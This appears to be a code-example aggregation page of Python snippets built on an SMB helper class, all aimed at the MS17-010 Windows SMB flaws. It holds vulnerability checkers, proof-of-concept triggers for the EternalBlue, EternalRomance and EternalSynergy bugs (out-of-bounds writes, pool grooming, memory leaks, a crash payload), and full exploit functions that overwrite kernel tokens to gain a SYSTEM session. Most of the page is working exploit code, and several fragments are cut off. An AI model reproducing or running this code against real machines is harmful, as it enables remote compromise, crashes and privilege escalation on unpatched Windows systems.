Пример #1
0
def smbcheck(target):
    if checkPort(target, '445'):
        conn = MYSMB(target)
        try:
            conn.login(USERNAME, PASSWORD)
        except smb.SessionError as e:
            #print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
            sys.exit()
        finally:
            #print('OS: ' + conn.get_server_os())
            TragetOS = '(' + conn.get_server_os() + ')'

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            #print('The target is not patched')
            CheckResult = 'MS17-010\t' + TragetOS

        return CheckResult
Пример #2
0
def main():
    parser = argparse.ArgumentParser()

    parser.add_argument(
        'target',
        action='store',
        help='[[domain/]username[:password]@]<targetName or address>')

    group = parser.add_argument_group('connection')
    group.add_argument(
        '-target-ip',
        action='store',
        metavar="ip address",
        help=
        'IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it'
    )
    group.add_argument('-port',
                       choices=['139', '445'],
                       nargs='?',
                       default='445',
                       metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()

    import re
    domain, username, password, remoteName = re.compile(
        '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
            options.target).groups('')

    #In case the password contains '@'
    if '@' in remoteName:
        password = password + '@' + remoteName.rpartition('@')[0]
        remoteName = remoteName.rpartition('@')[2]

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:")

    if options.target_ip is None:
        options.target_ip = remoteName

    conn = MYSMB(options.target_ip, int(options.port))
    try:
        conn.login(username, password)
    except smb.SessionError as e:
        print('[-] Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
        sys.exit()
    finally:
        print('[*] Target OS: ' + conn.get_server_os())

    tid = conn.tree_connect_andx('\\\\' + options.target_ip + '\\' + 'IPC$')
    conn.set_default_tid(tid)

    check_ms17_010(conn)
    check_accessible_pipes(conn)

    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()

    print('[*] Done')
Пример #3
0
    # after padding is pointer to allocated npp and shellcode there
    sessionSetup['Data'] = pack('<H',
                                0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
        print('SMB1 session setup allocate nonpaged pool success')
        conn.set_uid(recvPkt['Uid'])
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
        sys.exit()


conn = MYSMB(target)

login_put_staging_sc(conn, staging_sc, 512)

# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)  # any valid share name should be OK

# ================================
# leak a transaction
# ================================
for i in range(10):
    conn.send_trans('',
                    totalDataCount=0xdb0,
                    maxSetupCount=0,
Пример #4
0
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in
same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be
free chunk data (failed but not crash the target).
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
	print("{} <ip> <pipe_name>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)

tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
fid = conn.nt_create_andx(tid, pipe_name)

print('Sending 50 frag packets (25 to free)')
# paged pool size 0x8000 ... 0xc000
for i in range(5):
	for j in range(7, 0xc):
		size = (j * 0x1000) + 0xe00
		conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0)
		conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0, tid=tid2)
Пример #5
0
def checker(target):
    try:
        USERNAME = ''
        PASSWORD = ''

        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')

        MSRPC_UUID_BROWSER = uuidtup_to_bin(
            ('6BFFD098-A112-3610-9833-012892020162', '0.0'))
        MSRPC_UUID_SPOOLSS = uuidtup_to_bin(
            ('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
        MSRPC_UUID_NETLOGON = uuidtup_to_bin(
            ('12345678-1234-ABCD-EF00-01234567CFFB', '1.0'))
        MSRPC_UUID_LSARPC = uuidtup_to_bin(
            ('12345778-1234-ABCD-EF00-0123456789AB', '0.0'))
        MSRPC_UUID_SAMR = uuidtup_to_bin(
            ('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))

        pipes = {
            'browser': MSRPC_UUID_BROWSER,
            'spoolss': MSRPC_UUID_SPOOLSS,
            'netlogon': MSRPC_UUID_NETLOGON,
            'lsarpc': MSRPC_UUID_LSARPC,
            'samr': MSRPC_UUID_SAMR,
        }

        conn = MYSMB(target)
        try:
            conn.login(USERNAME, PASSWORD)
        except smb.SessionError as e:
            #print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
            sys.exit()
        finally:
            pass
            #print('Target OS: ' + conn.get_server_os())

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            #print('The target is not patched')
            return True
        else:
            #print('The target is patched')
            return False

        #print('')
        #print('=== Testing named pipes ===')
        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    #print('{}: Ok (64 bit)'.format(pipe_name))
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        pass
                        #print('{}: Ok (32 bit)'.format(pipe_name))
                    else:
                        pass
                        #print('{}: Ok ({})'.format(pipe_name, str(e)))
                dce.disconnect()
            except smb.SessionError as e:

                #print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
                pass
            except smbconnection.SessionError as e:
                pass
                #print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()

    except:
        return False
Пример #6
0
def check(target):
    conn = MYSMB(target)
    flag = 0
    try:
        conn.login(USERNAME, PASSWORD)
    except smb.SessionError as e:
        print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
        return flag
    finally:
        print('Target OS: ' + conn.get_server_os())

    tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
    conn.set_default_tid(tid)

    # test if target is vulnerable
    TRANS_PEEK_NMPIPE = 0x23
    recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                              maxParameterCount=0xffff,
                              maxDataCount=0x800)
    status = recvPkt.getNTStatus()
    if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
        print('The target is not patched')
        flag = 1
    else:
        print('The target is patched')
        return 0

    print('')
    print('=== Testing named pipes ===')
    for pipe_name, pipe_uuid in pipes.items():
        try:
            dce = conn.get_dce_rpc(pipe_name)
            dce.connect()
            try:
                dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                print('{}: Ok (64 bit)'.format(pipe_name))

            except DCERPCException as e:
                if 'transfer_syntaxes_not_supported' in str(e):
                    print('{}: Ok (32 bit)'.format(pipe_name))
                else:
                    print('{}: Ok ({})'.format(pipe_name, str(e)))
            dce.disconnect()
        except smb.SessionError as e:
            print('{}: {}'.format(pipe_name,
                                  nt_errors.ERROR_MESSAGES[e.error_code][0]))
        except smbconnection.SessionError as e:
            print('{}: {}'.format(pipe_name,
                                  nt_errors.ERROR_MESSAGES[e.error][0]))

    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    return flag
Пример #7
0
def checker(host):
    try:
        conn = MYSMB(host)
        try:
            conn.login(USERNAME, PASSWORD)
        except smb.SessionError as e:
            logger.error('LOGIN FAILED: ' +
                         nt_errors.ERROR_MESSAGES[e.error_code][0])
            sys.exit()
        finally:
            logger.info('CONNECTED TO {}'.format(logger.BLUE(host)))
            logger.info('TARGET OS: ' + conn.get_server_os())

        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        conn.set_default_tid(tid)

        # test if target is vulnerable
        TRANS_PEEK_NMPIPE = 0x23
        recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
                                  maxParameterCount=0xffff,
                                  maxDataCount=0x800)
        status = recvPkt.getNTStatus()
        if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
            logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target)))
        else:
            logger.error('{} IS PATCHED!'.format(target))
            sys.exit()

        logger.action('CHECKING NAMED PIPES...')
        for pipe_name, pipe_uuid in pipes.items():
            try:
                dce = conn.get_dce_rpc(pipe_name)
                dce.connect()
                try:
                    dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                    logger.success('{}: OK (64 bit)'.format(pipe_name))
                except DCERPCException as e:
                    if 'transfer_syntaxes_not_supported' in str(e):
                        logger.success('{}: OK (32 bit)'.format(pipe_name))
                    else:
                        logger.success('{}: OK ({})'.format(pipe_name, str(e)))
                dce.disconnect()
            except smb.SessionError as e:
                logger.error('{}: {}'.format(
                    pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
            except smbconnection.SessionError as e:
                logger.error('{}: {}'.format(
                    pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
    except:
        logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
Пример #8
0
'''
PoC: demonstrates the bug that NSA eternalromance and eternalsynergy use for OOB write
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
	print("{} <ip> <pipe_name>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)

fid = conn.nt_create_andx(tid, pipe_name)

# create incomplete transaction with mid is pipe fid
conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400)

# use SMB write to shift transaction.InData
conn.do_write_andx_raw_pipe(fid, 'A'*0x1000)

# send secondary for OOB write
# after sending below secondary, a target should be crashed
Пример #9
0
def exploit(target, pipe_name):
	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}

	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		print('This exploit does not support this target')
		sys.exit()
	
	if pipe_name is None:
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			print('Not found accessible named pipe')
			return False
		print('Using named pipe: '+pipe_name)

	if not info['method'](conn, pipe_name, info):
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	print('make this SMB session to be SYSTEM')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

		print('overwriting token UserAndGroups')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		print('overwriting session security context')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	try:
		smb_pwn(conn, info['arch'])
	except:
		pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Пример #10
0
import sys

'''
PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug

Note: The PoC does not support user authentication
'''


if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target, use_ntlmv2=False)

_, flags2 = conn.get_flags()

# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)
	
pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value
Пример #11
0
def exploit(target,username,password,pipe_name):
	logger.blue('Connecting to: [{}]'.format(logger.BLUE(target)))
	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}
	if len(username) == 0 and len(password) == 0:
		logger.blue('Attempting to authenticate with {}'.format(logger.BLUE('null sessions')))
	else:
		logger.blue('Attempting to authenticate as {}:{}'.format(logger.BLUE(username),logger.BLUE(password)))
	try:
		conn.login(username,password,domain,maxBufferSize=4356)
		logger.green('Successfully authenticated as {}:{}'.format(logger.GREEN(username),logger.GREEN(password)))
	except Exception as e:
		logger.red(str(e))
		quit()

	server_os = conn.get_server_os()
	logger.blue('OS: {}'.format(logger.BLUE(server_os)))

	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): # set the ['method'] to the appropriate exploit
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		logger.red('Target isnt supported...')
		quit()

	logger.blue('Checking the named pipes...')	
	if pipe_name is None:
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			logger.red('Couldnt get named pipe...')
			return False
		logger.green('Using pipe: [{}]'.format(logger.GREEN(pipe_name)))

	if not info['method'](conn, pipe_name, info): # this then runs exploit_matched_pairs()
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	logger.blue('Creating SYSTEM Session')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		# parse necessary data out of token
		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

		logger.blue('Overwriting Token [UserAndGroups]')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		logger.blue('Overwriting session security context')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	# try:
	smb_pwn(conn, info['arch'])
	# except:
	# 	pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Пример #12
0
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in
same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be
free chunk data (failed but not crash the target).
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
    print("{} <ip> <pipe_name>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)

tid2 = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
fid = conn.nt_create_andx(tid, pipe_name)

print('Sending 50 frag packets (25 to free)')
# paged pool size 0x8000 ... 0xc000
for i in range(5):
    for j in range(7, 0xc):
        size = (j * 0x1000) + 0xe00
        conn.send_trans(pack('<HH', 0x36, fid),
                        totalDataCount=size,
Пример #13
0
def checkVuln(target,user,pwd):
    result = {'target':target,'user':user,'pwd':pwd,'logon':'','vuln':'','piped':'','OS':'','arch':''}
    logger.log.info('check target:%s user:%s pwd:%s'%(target,user,pwd))
    conn = MYSMB(target)
    try:
        conn.login(user, pwd)
        result['logon'] = 'OK'
    except smb.SessionError as e:
        logger.log.info(target + ' Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
        result['logon'] = 'NO'
        return result
    finally:
        result['OS'] = conn.get_server_os()
        logger.log.info(target + ' OS:' + conn.get_server_os())
    
    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
    conn.set_default_tid(tid)
    
    
    # test if target is vulnerable
    TRANS_PEEK_NMPIPE = 0x23
    recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
    status = recvPkt.getNTStatus()
    if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
        logger.log.info(target + ' is not patched')
        result['vuln'] = 'OK'
    else:
        result['vuln'] = 'NO'
        logger.log.info(target + ' is patched')
        return result
    
    #print('')
    #print('=== Testing named pipes ===')
    for pipe_name, pipe_uuid in pipes.items():
        try:
            dce = conn.get_dce_rpc(pipe_name)
            dce.connect()
            try:
                dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
                result['piped'] += pipe_name + " "
                logger.log.info('{}: Ok (64 bit)'.format(pipe_name))
            except DCERPCException as e:
                if 'transfer_syntaxes_not_supported' in str(e):
                    result['piped'] += pipe_name + " "
                    logger.log.info('{}: Ok (32 bit)'.format(pipe_name))
                else:
                    result['piped'] += pipe_name + " "
                    logger.log.info('{}: Ok ({})'.format(pipe_name, str(e)))
            dce.disconnect()
        except smb.SessionError as e:
            logger.log.info('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
        except smbconnection.SessionError as e:
            logger.log.info('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))
    
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    
    return result
Пример #14
0
pipes = {
	'browser'  : MSRPC_UUID_BROWSER,
	'spoolss'  : MSRPC_UUID_SPOOLSS,
	'netlogon' : MSRPC_UUID_NETLOGON,
	'lsarpc'   : MSRPC_UUID_LSARPC,
	'samr'     : MSRPC_UUID_SAMR,
}


if len(sys.argv) != 2:
	print("{} <ip>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target)
try:
	conn.login(USERNAME, PASSWORD)
except smb.SessionError as e:
	print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
	sys.exit()
finally:
	print('Target OS: ' + conn.get_server_os())

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)


# test if target is vulnerable
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
Пример #15
0
import sys
import socket
import time

target = '10.11.1.75'
USERNAME = ''
PASSWORD = ''
PIPEFILE = '/usr/share/wordlists/metasploit/named_pipes.txt'
SMBSHARE = 'IPC$'

#pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]

with open(PIPEFILE) as f:
    pipes = f.read().splitlines()

conn = MYSMB(target)

# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

info = {}

try:
    conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
except:
    print "Cannot Connect"

try:
    tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' +
                                 SMBSHARE)
except smb.SessionError as e:
Пример #16
0
from struct import pack
import sys
'''
PoC: demonstrates how NSA eternalblue triggers the buffer overflow
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 2:
    print("{} <ip>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)

# OOB write ~0x8c00 for BSOD
payload = pack('<I', 0x10000)
payload += pack('<BBH', 0, 0, 0xc003) + 'A' * 0xc004
payload += pack('<BBH', 0, 0, 0xcc00) + 'B' * 0x4000

mid = conn.next_mid()
# NT function can be any
# TRANS2_OPEN2 (0)
conn.send_nt_trans(2,
                   setup=pack('<H', 0),
Пример #17
0
'''
PoC: demonstates leaking information from uninitialize buffer
'''

USERNAME = ''
PASSWORD = ''

if len(sys.argv) != 3:
	print("{} <ip> <pipe_name>".format(sys.argv[0]))
	sys.exit(1)

target = sys.argv[1]
pipe_name = sys.argv[2]

conn = MYSMB(target)

conn.login(USERNAME, PASSWORD)

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)  # any valid share name should be OK

# create NT_TRANS_RENAME (5) request
mid = conn.next_mid()
conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A'*0x1000, totalDataCount=0x8000)

# send secondary to set data at displacement 0 to leave uninitialize data in InData
for i in range(7):
	conn.send_nt_trans_secondary(mid, data='B'*0x1000)
Пример #18
0
from mysmb import MYSMB
from struct import pack
import sys
'''
PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug

Note: The PoC does not support user authentication
'''

if len(sys.argv) != 2:
    print("{} <ip>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]

conn = MYSMB(target, use_ntlmv2=False)

_, flags2 = conn.get_flags()

# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
flags2 |= smb.SMB.FLAGS2_UNICODE
conn.set_flags(flags2=flags2)

pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value
Пример #19
0
def scan():
    delimiter = '*' * 30
    options = get_arguments()

